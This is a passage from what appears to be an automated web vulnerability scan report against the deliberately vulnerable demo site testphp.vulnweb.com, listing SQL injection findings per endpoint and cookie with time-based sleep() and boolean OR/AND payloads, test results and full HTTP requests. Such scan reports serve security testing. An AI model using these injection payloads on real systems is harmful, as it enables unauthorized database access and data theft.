User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
searchFor=1
```

/sendcommand.php

Details

URL encoded POST input **cart_id** was set to **(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/**

Tests performed:

- (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/ => **3.062**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.063**
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => **6.062**
- (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/ => **9.063**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.062**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.063**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.062**
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ => **6.063**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+'"+(select(0)from(select(sleep(0)))v)+"*/ => **0.062**

Original value: **1**

Request headers

```
POST /sendcommand.php HTTP/1.1
Content-Length: 130
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
cart_id=
(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'"%2b(select(0)
from(select(sleep(0)))v)%2b"*/
```

/listproducts.php

Details

URL encoded GET input **cat** was set to **1 AND 3*2*1=6 AND 165=165**

Tests performed:

- 1*1*1*1 => **TRUE**
- 1*165*160*0 => **FALSE**
- 11*5*2*999 => **FALSE**
- 1*1*1 => **TRUE**
- 1*1*1*1*1*1 => **TRUE**
- 11*1*1*0*1*1*165 => **FALSE**
- 1 AND 5*4=20 AND 165=165 => **TRUE**
- 1 AND 5*4=21 AND 165=165 => **FALSE**
- 1 AND 5*6<26 AND 165=165 => **FALSE**
- 1 AND 7*7>48 AND 165=165 => **TRUE**
- 1 AND 3*2*0=6 AND 165=165 => **FALSE**

- 1 AND 3*2*1=6 AND 165=165 => **TRUE**

Original value: **1**

Request headers

```
GET /listproducts.php?artist=1&cat=1%20AND%203*2*1=6%20AND%20165=165 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/userinfo.php

Details

URL encoded POST input **pass** was set to **-1' OR 3*2*1=6 AND 000754=000754 --**

Tests performed:

- -1' OR 2+754-754-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+754-754-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+754-754) -- => **FALSE**
- -1' OR 3*2>(0+5+754-754) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000754=000754 -- => **TRUE**
- -1' OR 000754=000754 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000754=000754 -- => **FALSE**
- -1' OR 3*2=6 AND 000754=000754 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000754=000754 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000754=000754 -- => **TRUE**

Original value: **g00dPa%24%24w0rD**

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
pass=-1'%20OR%203*2*1=6%20AND%20000754=000754%20--%20&uname=igabyygl
```

/userinfo.php

Details

URL encoded POST input **uname** was set to **-1' OR 3*2*1=6 AND 00060=00060 --**

Tests performed:

- -1' OR 2+60-60-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+60-60-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+60-60) -- => **FALSE**
- -1' OR 3*2>(0+5+60-60) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 00060=00060 -- => **TRUE**
- -1' OR 00060=00060 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 00060=00060 -- => **FALSE**
- -1' OR 3*2=6 AND 00060=00060 -- => **TRUE**

- -1' OR 3*2*0=6 AND 00060=00060 -- => **FALSE**
- -1' OR 3*2*1=6 AND 00060=00060 -- => **TRUE**

Original value: **igabyygl**

Request headers

```
POST /userinfo.php HTTP/1.1
Content-Length: 74
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
pass=g00dPa%24%24w0rD&uname=-1'%20OR%203*2*1=6%20AND%2000060=00060%20--%20
```

/search.php

Details

URL encoded POST input **searchFor** was set to
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed:

- if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/ => **3.062**
- if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ => **9.063**
- if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.063**
- if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => **6.062**
- if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.062**
- if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.062**
- if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.063**
- if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => **6.047**
- if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/ => **0.062**

Original value: **1**

Request headers

```
POST /search.php?test=1 HTTP/1.1
Content-Length: 134
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
searchFor=if(now()=sysdate()%2csleep(0)%2c0)/*'XOR(if(now()=sysdate()%2csleep(0)%2c0))OR'"XO
R(if(now()=sysdate()%2csleep(0)%2c0))OR"*/
```

/AJAX/infoartist.php

Details

URL encoded GET input **id** was set to **3 AND 3*2*1=6 AND 136=136**

Tests performed:

- 1*1*1*3 => **TRUE**
- 3*136*131*0 => **FALSE**
- 13*5*2*999 => **FALSE**
- 3*1*1 => **TRUE**
- 1*1*1*1*1*3 => **TRUE**
- 13*1*1*0*1*1*136 => **FALSE**
- 3 AND 5*4=20 AND 136=136 => **TRUE**
- 3 AND 5*4=21 AND 136=136 => **FALSE**
- 3 AND 5*6<26 AND 136=136 => **FALSE**
- 3 AND 7*7>48 AND 136=136 => **TRUE**
- 3 AND 3*2*0=6 AND 136=136 => **FALSE**
- 3 AND 3*2*1=6 AND 136=136 => **TRUE**

Original value: **3**

Request headers

```
GET /AJAX/infoartist.php?id=3%20AND%203*2*1=6%20AND%20136=136 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/artists.php

Details

URL encoded GET input **artist** was set to **3 AND 3*2*1=6 AND 355=355**

Tests performed:

- 1*1*1*3 => **TRUE**
- 3*355*350*0 => **FALSE**
- 13*5*2*999 => **FALSE**
- 3*1*1 => **TRUE**
- 1*1*1*1*1*3 => **TRUE**
- 13*1*1*0*1*1*355 => **FALSE**
- 3 AND 5*4=20 AND 355=355 => **TRUE**
- 3 AND 5*4=21 AND 355=355 => **FALSE**
- 3 AND 5*6<26 AND 355=355 => **FALSE**
- 3 AND 7*7>48 AND 355=355 => **TRUE**
- 3 AND 3*2*0=6 AND 355=355 => **FALSE**
- 3 AND 3*2*1=6 AND 355=355 => **TRUE**

Original value: **3**

Request headers

```
GET /artists.php?artist=3%20AND%203*2*1=6%20AND%20355=355 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/AJAX/infotitle.php

Details

URL encoded POST input **id** was set to **3 AND 3*2*1=6 AND 12=12**

Tests performed:

- 1*1*1*3 => **TRUE**
- 3*12*7*0 => **FALSE**
- 13*5*2*999 => **FALSE**
- 3*1*1 => **TRUE**
- 1*1*1*1*1*3 => **TRUE**
- 13*1*1*0*1*1*12 => **FALSE**
- 3 AND 5*4=20 AND 12=12 => **TRUE**
- 3 AND 5*4=21 AND 12=12 => **FALSE**
- 3 AND 5*6<26 AND 12=12 => **FALSE**
- 3 AND 7*7>48 AND 12=12 => **TRUE**
- 3 AND 3*2*0=6 AND 12=12 => **FALSE**
- 3 AND 3*2*1=6 AND 12=12 => **TRUE**

Original value: **3**

Request headers

```
POST /AJAX/infotitle.php HTTP/1.1
Content-Length: 34
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
id=3%20AND%203*2*1=6%20AND%2012=12
```

/product.php

Details

URL encoded GET input **pic** was set to **4 AND 3*2*1=6 AND 402=402**

Tests performed:

- 1*1*1*4 => **TRUE**
- 4*402*397*0 => **FALSE**
- 14*5*2*999 => **FALSE**
- 4*1*1 => **TRUE**
- 1*1*1*1*1*4 => **TRUE**
- 14*1*1*0*1*1*402 => **FALSE**
- 4 AND 5*4=20 AND 402=402 => **TRUE**
- 4 AND 5*4=21 AND 402=402 => **FALSE**
- 4 AND 5*6<26 AND 402=402 => **FALSE**
- 4 AND 7*7>48 AND 402=402 => **TRUE**
- 4 AND 3*2*0=6 AND 402=402 => **FALSE**
- 4 AND 3*2*1=6 AND 402=402 => **TRUE**

Original value: **4**

Request headers

```
GET /product.php?pic=4%20AND%203*2*1=6%20AND%20402=402 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/secured/newuser.php

Details

URL encoded POST input **uuname** was set to **-1' OR 3*2*1=6 AND 000328=000328 --**

Tests performed:

- -1' OR 2+328-328-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+328-328-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+328-328) -- => **FALSE**
- -1' OR 3*2>(0+5+328-328) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000328=000328 -- => **TRUE**
- -1' OR 000328=000328 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000328=000328 -- => **FALSE**
- -1' OR 3*2=6 AND 000328=000328 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000328=000328 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000328=000328 -- => **TRUE**

Original value: **eauwexay**

Request headers

```
POST /secured/newuser.php HTTP/1.1
Content-Length: 231
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.tst
&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=eauwexay&uuname=-1'%20OR%203*2*1=6%20AND%20000328=000328%20--%20
```

/AJAX/infocateg.php

Details

URL encoded GET input **id** was set to **3 AND 3*2*1=6 AND 264=264**

Tests performed:

- 1*1*1*3 => **TRUE**
- 3*264*259*0 => **FALSE**
- 13*5*2*999 => **FALSE**
- 3*1*1 => **TRUE**
- 1*1*1*1*1*3 => **TRUE**
- 13*1*1*0*1*1*264 => **FALSE**
- 3 AND 5*4=20 AND 264=264 => **TRUE**
- 3 AND 5*4=21 AND 264=264 => **FALSE**
- 3 AND 5*6<26 AND 264=264 => **FALSE**
- 3 AND 7*7>48 AND 264=264 => **TRUE**
- 3 AND 3*2*0=6 AND 264=264 => **FALSE**
- 3 AND 3*2*1=6 AND 264=264 => **TRUE**

Original value: **3**

Request headers

```
GET /AJAX/infocateg.php?id=3%20AND%203*2*1=6%20AND%20264=264 HTTP/1.1
```

```
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

URL encoded GET input **artist** was set to **-1 OR 3*2*1=6 AND 000119=000119 --**

Tests performed:

- -1 OR 2+119-119-1=0+0+0+1 -- => **TRUE**
- -1 OR 3+119-119-1=0+0+0+1 -- => **FALSE**
- -1 OR 3*2<(0+5+119-119) -- => **FALSE**
- -1 OR 3*2>(0+5+119-119) -- => **FALSE**
- -1 OR 2+1-1-1=1 AND 000119=000119 -- => **TRUE**
- -1 OR 000119=000119 AND 3+1-1-1=1 -- => **FALSE**
- -1 OR 3*2=5 AND 000119=000119 -- => **FALSE**
- -1 OR 3*2=6 AND 000119=000119 -- => **TRUE**
- -1 OR 3*2*0=6 AND 000119=000119 -- => **FALSE**
- -1 OR 3*2*1=6 AND 000119=000119 -- => **TRUE**

Original value: **3**

Request headers

```
GET /listproducts.php?artist=-1%20OR%203*2*1=6%20AND%20000119=000119%20--%20 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/buy.php

Details

URL encoded GET input **id** was set to **1 AND 3*2*1=6 AND 129=129**

Tests performed:

- 1*1*1*1 => **TRUE**
- 1*129*124*0 => **FALSE**
- 11*5*2*999 => **FALSE**
- 1*1*1 => **TRUE**
- 1*1*1*1*1*1 => **TRUE**
- 11*1*1*0*1*1*129 => **FALSE**
- 1 AND 5*4=20 AND 129=129 => **TRUE**
- 1 AND 5*4=21 AND 129=129 => **FALSE**
- 1 AND 5*6<26 AND 129=129 => **FALSE**
- 1 AND 7*7>48 AND 129=129 => **TRUE**
- 1 AND 3*2*0=6 AND 129=129 => **FALSE**
- 1 AND 3*2*1=6 AND 129=129 => **TRUE**

Original value: **1**

Request headers

```
GET /Mod_Rewrite_Shop/buy.php?id=1%20AND%203*2*1=6%20AND%20129=129 HTTP/1.1
```

```
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/details.php

Details

URL encoded GET input **id** was set to **1 AND 3*2*1=6 AND 680=680**

Tests performed:

- 1*1*1*1 => **TRUE**
- 1*680*675*0 => **FALSE**
- 11*5*2*999 => **FALSE**
- 1*1*1 => **TRUE**
- 1*1*1*1*1*1 => **TRUE**
- 11*1*1*0*1*1*680 => **FALSE**
- 1 AND 5*4=20 AND 680=680 => **TRUE**
- 1 AND 5*4=21 AND 680=680 => **FALSE**
- 1 AND 5*6<26 AND 680=680 => **FALSE**
- 1 AND 7*7>48 AND 680=680 => **TRUE**
- 1 AND 3*2*0=6 AND 680=680 => **FALSE**
- 1 AND 3*2*1=6 AND 680=680 => **TRUE**

Original value: **1**

Request headers

```
GET /Mod_Rewrite_Shop/details.php?id=1%20AND%203*2*1=6%20AND%20680=680 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/Mod_Rewrite_Shop/rate.php

Details

URL encoded GET input **id** was set to **1 AND 3*2*1=6 AND 970=970**

Tests performed:

- 1*1*1*1 => **TRUE**
- 1*970*965*0 => **FALSE**
- 11*5*2*999 => **FALSE**
- 1*1*1 => **TRUE**
- 1*1*1*1*1*1 => **TRUE**
- 11*1*1*0*1*1*970 => **FALSE**
- 1 AND 5*4=20 AND 970=970 => **TRUE**
- 1 AND 5*4=21 AND 970=970 => **FALSE**
- 1 AND 5*6<26 AND 970=970 => **FALSE**
- 1 AND 7*7>48 AND 970=970 => **TRUE**
- 1 AND 3*2*0=6 AND 970=970 => **FALSE**
- 1 AND 3*2*1=6 AND 970=970 => **TRUE**

Original value: **1**

Request headers

```
GET /Mod_Rewrite_Shop/rate.php?id=1%20AND%203*2*1=6%20AND%20970=970 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Cookie: mycookie=3
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

Web Server

Details

Cookie input **login** was set to **-1' OR 3*2*1=6 AND 000699=000699 --**

Tests performed:

- -1' OR 2+699-699-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+699-699-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+699-699) -- => **FALSE**
- -1' OR 3*2>(0+5+699-699) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000699=000699 -- => **TRUE**
- -1' OR 000699=000699 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000699=000699 -- => **FALSE**
- -1' OR 3*2=6 AND 000699=000699 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000699=000699 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000699=000699 -- => **TRUE**

Original value: **1**

Request headers

```
GET / HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000699=000699%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/search.php

Details

Cookie input **login** was set to **-1' OR 3*2*1=6 AND 000993=000993 --**

Tests performed:

- -1' OR 2+993-993-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+993-993-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+993-993) -- => **FALSE**
- -1' OR 3*2>(0+5+993-993) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000993=000993 -- => **TRUE**
- -1' OR 000993=000993 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000993=000993 -- => **FALSE**
- -1' OR 3*2=6 AND 000993=000993 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000993=000993 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000993=000993 -- => **TRUE**

Original value: **1**

Request headers

```
GET /search.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000993=000993%20--%20; mycookie=3
```

```
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/cart.php

Details

Cookie input **login** was set to **-1' OR 3*2*1=6 AND 000117=000117 --**

Tests performed:

- -1' OR 2+117-117-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+117-117-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+117-117) -- => **FALSE**
- -1' OR 3*2>(0+5+117-117) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000117=000117 -- => **TRUE**
- -1' OR 000117=000117 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000117=000117 -- => **FALSE**
- -1' OR 3*2=6 AND 000117=000117 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000117=000117 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000117=000117 -- => **TRUE**

Original value: **1**

Request headers

```
GET /cart.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000117=000117%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/artists.php

Details

Cookie input **login** was set to **-1' OR 3*2*1=6 AND 000300=000300 --**

Tests performed:

- -1' OR 2+300-300-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+300-300-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+300-300) -- => **FALSE**
- -1' OR 3*2>(0+5+300-300) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000300=000300 -- => **TRUE**
- -1' OR 000300=000300 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000300=000300 -- => **FALSE**
- -1' OR 3*2=6 AND 000300=000300 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000300=000300 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000300=000300 -- => **TRUE**

Original value: **1**

Request headers

```
GET /artists.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000300=000300%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
```

```
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/userinfo.php

Details

Cookie input **login** was set to **-1' OR 3*2*1=6 AND 000413=000413 --**

Tests performed:

- -1' OR 2+413-413-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+413-413-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+413-413) -- => **FALSE**
- -1' OR 3*2>(0+5+413-413) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000413=000413 -- => **TRUE**
- -1' OR 000413=000413 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000413=000413 -- => **FALSE**
- -1' OR 3*2=6 AND 000413=000413 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000413=000413 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000413=000413 -- => **TRUE**

Original value: **1**

Request headers

```
GET /userinfo.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000413=000413%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/guestbook.php

Details

Cookie input **login** was set to **-1' OR 3*2*1=6 AND 000365=000365 --**

Tests performed:

- -1' OR 2+365-365-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+365-365-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+365-365) -- => **FALSE**
- -1' OR 3*2>(0+5+365-365) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000365=000365 -- => **TRUE**
- -1' OR 000365=000365 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000365=000365 -- => **FALSE**
- -1' OR 3*2=6 AND 000365=000365 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000365=000365 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000365=000365 -- => **TRUE**

Original value: **1**

Request headers

```
GET /guestbook.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000365=000365%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
```

```
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/product.php

Details

Cookie input **login** was set to **-1' OR 3*2*1=6 AND 000496=000496 --**

Tests performed:

- -1' OR 2+496-496-1=0+0+0+1 -- => **TRUE**
- -1' OR 3+496-496-1=0+0+0+1 -- => **FALSE**
- -1' OR 3*2<(0+5+496-496) -- => **FALSE**
- -1' OR 3*2>(0+5+496-496) -- => **FALSE**
- -1' OR 2+1-1-1=1 AND 000496=000496 -- => **TRUE**
- -1' OR 000496=000496 AND 3+1-1-1=1 -- => **FALSE**
- -1' OR 3*2=5 AND 000496=000496 -- => **FALSE**
- -1' OR 3*2=6 AND 000496=000496 -- => **TRUE**
- -1' OR 3*2*0=6 AND 000496=000496 -- => **FALSE**
- -1' OR 3*2*1=6 AND 000496=000496 -- => **TRUE**

Original value: **1**

Request headers

```
GET /product.php HTTP/1.1
Cookie: login=-1'%20OR%203*2*1=6%20AND%20000496=000496%20--%20; mycookie=3
X-Requested-With: XMLHttpRequest
Referer: http://testphp.vulnweb.com
Host: testphp.vulnweb.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21
Accept: */*
```

/listproducts.php

Details

